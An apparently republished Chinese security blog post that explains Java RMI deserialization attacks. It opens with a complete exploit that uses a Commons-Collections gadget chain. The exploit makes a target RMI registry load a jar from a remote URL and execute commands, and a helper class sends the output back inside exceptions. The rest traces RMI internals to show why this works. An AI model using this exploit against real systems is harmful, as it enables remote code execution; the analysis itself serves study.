这篇文章主要用于学习 RMI 的反序列化利用的流程原理,在网上搜了一大堆的 RMI 利用资料,大多仅仅是讲的利用方法,没有找到到底为啥能这么用,即使有些涉及到一些原理的文章,也写得过于高端了....看不大懂,只能自己去跟一根整个利用流程,请各位大佬轻喷....


网上流传的基于报错回显的 payload

先抛出 rmi 反序列化的exp

本地:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

import java.net.URLClassLoader;

import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

import java.util.HashMap;
import java.util.Map;


public class RMIexploit {
    public static Constructor<?> getFirstCtor(final String name)
        throws Exception {
        final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
        ctor.setAccessible(true);

        return ctor;
    }

    public static void main(String[] args) throws Exception {
        if (args.length < 4) {
            System.out.println(
                "        Usage: java -jar RMIexploit.jar ip port jarfile command");
            System.out.println(
                "        Example: java -jar RMIexploit.jar 123.123.123.123 1099 http://1.1.1.1.1/ErrorBaseExec.jar \"ls -l\"");

            return;
        }

        String ip = args[0];
        int port = Integer.parseInt(args[1]);
        String remotejar = args[2];
        String command = args[3];
        final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";

        try {
            final Transformer[] transformers = new Transformer[] {
                    new ConstantTransformer(java.net.URLClassLoader.class),
                    new InvokerTransformer("getConstructor",
                        new Class[] { Class[].class },
                        new Object[] { new Class[] { java.net.URL[].class } }),
                    new InvokerTransformer("newInstance",
                        new Class[] { Object[].class },
                        new Object[] {
                            new Object[] {
                                new java.net.URL[] { new java.net.URL(remotejar) }
                            }
                        }),
                    new InvokerTransformer("loadClass",
                        new Class[] { String.class },
                        new Object[] { "exploit.ErrorBaseExec" }),
                    new InvokerTransformer("getMethod",
                        new Class[] { String.class, Class[].class },
                        new Object[] { "do_exec", new Class[] { String.class } }),
                    new InvokerTransformer("invoke",
                        new Class[] { Object.class, Object[].class },
                        new Object[] { null, new String[] { command } })
                };
            Transformer transformedChain = new ChainedTransformer(transformers);
            Map innerMap = new HashMap();
            innerMap.put("value", "value");

            Map outerMap = TransformedMap.decorate(innerMap, null,
                    transformedChain);
            Class cl = Class.forName(
                    "sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
            ctor.setAccessible(true);

            Object instance = ctor.newInstance(Target.class, outerMap);
            Registry registry = LocateRegistry.getRegistry(ip, port);
            InvocationHandler h = (InvocationHandler) getFirstCtor(ANN_INV_HANDLER_CLASS)
                                                          .newInstance(Target.class,
                    outerMap);
            Remote r = Remote.class.cast(Proxy.newProxyInstance(
                        Remote.class.getClassLoader(),
                        new Class[] { Remote.class }, h));
            registry.bind("pwned", r);
        } catch (Exception e) {
            try {
                System.out.print(e.getCause().getCause().getCause().getMessage());
            } catch (Exception ee) {
                throw e;
            }
        }
    }
}

远程:

package exploit;

import java.io.*;

public class ErrorBaseExec {
    public static byte[] readBytes(InputStream in) throws IOException {
        BufferedInputStream bufin = new BufferedInputStream(in);
        int buffSize = 1024;
        ByteArrayOutputStream out = new ByteArrayOutputStream(buffSize);
        byte[] temp = new byte[buffSize];
        int size = 0;

        while ((size = bufin.read(temp)) != -1) {
            out.write(temp, 0, size);
        }

        bufin.close();

        byte[] content = out.toByteArray();

        return content;
    }

    public static void do_exec(String cmd) throws Exception {

            final Process p = Runtime.getRuntime().exec(cmd);
            final byte[] stderr = readBytes(p.getErrorStream());
            final byte[] stdout = readBytes(p.getInputStream());
            final int exitValue = p.waitFor();

            if (exitValue == 0) {
                throw new Exception("-----------------\r\n" + (new String(stdout)) + "-----------------\r\n");
            } else {
                throw new Exception("-----------------\r\n" + (new String(stderr)) + "-----------------\r\n");
            }

    }

    public static void main(final String[] args) throws Exception {
        do_exec("cmd /c dir");
    }
}

首先就是,本地的可以直接在本地生成jar包使用,远程的是放在vps上等可以访问到的地方

这个exp其实很简单,仅仅是在 commons-collections 库反序列化exp的基础上,加了一点 rmi 的内容

整个exp只需要关注如下图的内容:

registry 是从远程主机上获取到的一个注册表,然后他将 AnnotationInvocationHandler 的实例生成了一个 Remote 对象,最后在 registry 中绑定了一个新的远程服务( 这里也可以使用 rebind )

然后攻击就成功了,但是注意,这里是客户端去实施攻击的,服务端经过反序列化执行了恶意代码

rmi 的流程原理

先看一张图

如上图,攻击方就是 RMI Client,能够猜到,反序列化的是 RMI Server
这里就很奇怪了,明明是 RMI Server 进行的 bind 或者是 rebind 操作,为啥 exp 里作为一个 RMI Client 也可以进行 bind 或者是 rebind ?

在网上搜了搜,都是在 RMI Server 里进行 bind 或是 rebind 的例子
(注:这里说的 Server 意思是指的创建了本机 RMI 注册表的机器)
(PS:或许我该去查查官方文档的 - - )

没找到相关资料,就只能硬怼了

提前放出整个反序列化报错回显的流程:

首先,RMI server 创建、获取 Registry 的方式如下:

这里的 createRegistry 返回的是一个 RegistryImpl,好,先放着

我们再来看下 RMI Client 获取 Registry 的方式如下:

这里返回的是一个 RegistryImpl_Stub
那么我又去看了一下,这两个类的 bind 函数,其流程完全不同

RegistryImpl 如下:

这里的 bindings 是一个 hashtable ,只是将 Remote 对象放进去就完了

RegistryImpl 就不用管了,是创建 rmi 注册表的本机里的操作,我们不可控的,继续跟入 RegistryImpl_Stub 里

RMI Client 的 RegistryImpl_Stub

RegistryImpl_Stub 如下:


var3 是一个 StreamRemoteCall 对象,其 getOutputStream 返回的是一个 ConnectionOutputStream 对象,那么这里从 var4 的操作来看,不就是开始进行远程通信了嘛.....

注意这里的 opnum 参数 !

我们可以思考一下,这里既然已经开始通信,那么对应的服务端肯定也在开始根据某些规则进行某些行为,这是在 bind 函数中的,那么对应的服务器端也会执行 bind 的操作,服务端待会儿再说,有一个问题就是,在上图中看见的仅仅是将需要 bind 的 Remote 对象发过去了,那服务器怎么知道我是 bind 还是 unbind 的?

这里就退到 newCall 的时候,跟进去看看

在得到 var6 之前,newConnection 函数运行的流程中就已经开始了与服务器的通信
注意到 var3 、 var4 都是直接传进 StreamRemoteCall 的构造函数,继续跟进它的构造函数

最开始是写入了 80 (其实在此之前还有一些信息的发送,但是我们并不用太关心),接着getOutputStream 就是给 this.out 赋值了 ConnectionOutputStream 对象,是可以直接发送数据的,然后它将 var3 、 var4 都提前发了过去,后面才向服务端发送的是需要 bind 的 name 和 Remote 对象

回到 bind 函数中,这时候还剩下 invoke 和 done 函数没跑完

先看看 invoke

var1 就是刚刚 new 出来的 StreamRemoteCall ,跟进去看 executeCall
由于函数体太长,只截取关键部分

这里能看出来是在接受服务端的返回信息,var1 是读取了一个 byte,那么返回值为 1 应该是 success,因为啥也不返回。值为2的时候比较奇怪,反序列化后居然判断是否是一个异常,emmm,看来接受的应该是服务端的异常,default 的情况应该是返回值错误

现在回想 ErrorBaseExec 这个远程利用类里的代码:

都是将结果直接抛出异常的形式带回,那么结合着之前所述,应该在返回值为 2 的时候被接受了,那么跟进 exceptionReceivedFromServer 看看

最后还是将异常抛出了,这个来自服务端的异常最后将会被客户端的 bind 函数打印出来,所以这就理解了远程利用代码里,会直接将命令执行的结果以异常的形式抛出,因为这样就可以获得命令回显....

bind 函数中调用的 done 函数就不展示了,仅仅是清理缓冲区、释放连接啥的

RMI Server 的 RegistryImpl

目前仅仅是分析了 payload 从客户端发送到服务端,以及收到了服务端的返回信息

该去看看服务端,是如何接收到客户端的 payload 的,如何进行信息的返回

rmi 服务端的设计更复杂一些,之前一直在反编译jdk7_079的class文件,但是这样很不好跟踪,所以索性直接看 jdk 源码

服务端就必须得从创建 rmi 注册表开始跟了,如下图:

前面讲过,这里返回的是一个 RegistryImpl ,跟进构造函数

var1 代表的是选择的开放端口,接着将 LiveRef 装进 UnicastServerRef 并带入了 setup 函数中,跟进去

将自身(RegistryImpl)传入了 UnicastServerRef 的 exportObject中,跟进去

var5 是一个根据 var4 的类名生成的一个 RemoteStub ,因为传入的 var1 实际上是 RegistryImpl ,那么 var5 就是 RegistryImpl_Stub ,所以上图中的 if 条件是满足的

Skeleton 也是 rmi 中非常重要的一个模块

上图中的 setSkelenton 就是根据 var1 的类名实例化一个 Skeleton,那么生成的就是 RegistryImpl_Skel。 实例化的 Target 中包含了所有重要的事物,包含了新生成的 RegistryImpl,这将是处理 RMI Client 通信请求的具体操作类。函数流程中,接着调用了之前实例化的 LiveRef 中 exportObject 函数

这里的 ep 是一个根据指定开放端口实例化的 TCPEndpoint ,继续跟,期间跟了好几个 exportObject 函数,最终来到了 TCPTransport 类中

看见 listen ,感觉是开始监听端口什么的了,跟进去看看

跑起了 TCPTransport.AcceptLoop 的线程,看看 run

跟进 executeAcceptLoop

如图,服务端接收到连接后,实例化 ConnectionHandler 并跑起线程

看看 ConnectionHandler 的 run

继续跑 run0,跟进去
函数体太长,只截取关键部分

跟进 handleMessages 函数

我们只需要关注 80 的时候,因为之前客户端在实例化 StreamRemoteCall 过程中,写入的就是 80

调用了 serviceCall ,并传入了一个新的 StreamRemoteCall ,跟进去看看

这里我们跟着 var1 的流程就好

调用了 UnicastServerRef 的 dispatch 函数,跟进去

盯着 var2 不放,可见之前客户端通信的内容,正在一步步的控制服务端的执行流程

回忆一下,客户端的通信内容如下:

先发过去的是 int 0,然后就是一个 Long

那么对应的,var3 应该为 0,跟入 oldDispatch

var3 、 var4 分别是之前的 int 0 和一个 Long,这里的 skel 就是之前实例化的 RegistryImpl_Skel ,跟进它的 dispatch 函数

var3 == 0,然后直接 var11 就反序列化获取了 name 和 Remote 对象,这里的 case 0 仅仅是 bind 的对应的操作码,那么还有些其他操作对应的操作码,如下:

此处的 var6 变量就是之前 RMI Server 新生成的 RegistryImpl 对象,所以在以上 5 中操作过程中,其实际上都是操作的 RMI Server 的 RegistryImpl

然后因为在 payload 里命令执行完成后,直接抛出的异常并带入命令执行结果,所以在 Proxy 成员 invocationHandler 反序列化的过程中(也就是在 readObject 的过程中),直接抛错了,并带回 RMI 客户端,形成利用报错回显命令执行结果

我们可以继续看看抛出异常后的情况
被 IOException 抓住后,继续抛出 UnmarshalException,跳回 oldDespatch 中
在 oldDespatch 中的异常处理流程如下图:

先获取了 ObjectOuput 然后用 ServerException 包装一下,最后将异常反馈给 RMI Client
第一个红框里, getResultStrem 带入的参数是 false ,跟进去看看

var1 为 false ,进入 else 条件,在传送回 Client 异常前,写回一个 2
这里就和之前在 RMI Client 中分析的吻合了,如果 Client 中得到的是 2 的返回,那么回接受来自 Server 的异常并将其打印


整个流程已经全部梳理完,有啥叙述不清、错误的地方欢迎指出~

参考资料:
http://www.freebuf.com/vuls/126499.html
https://blog.csdn.net/sinat_34596644/article/details/52599688
https://blog.csdn.net/guyuealian/article/details/51992182
http://blog.nsfocus.net/java-deserialization-vulnerability-overlooked-mass-destruction/
https://blog.csdn.net/lovejj1994/article/details/78080124

源链接

Hacking more

...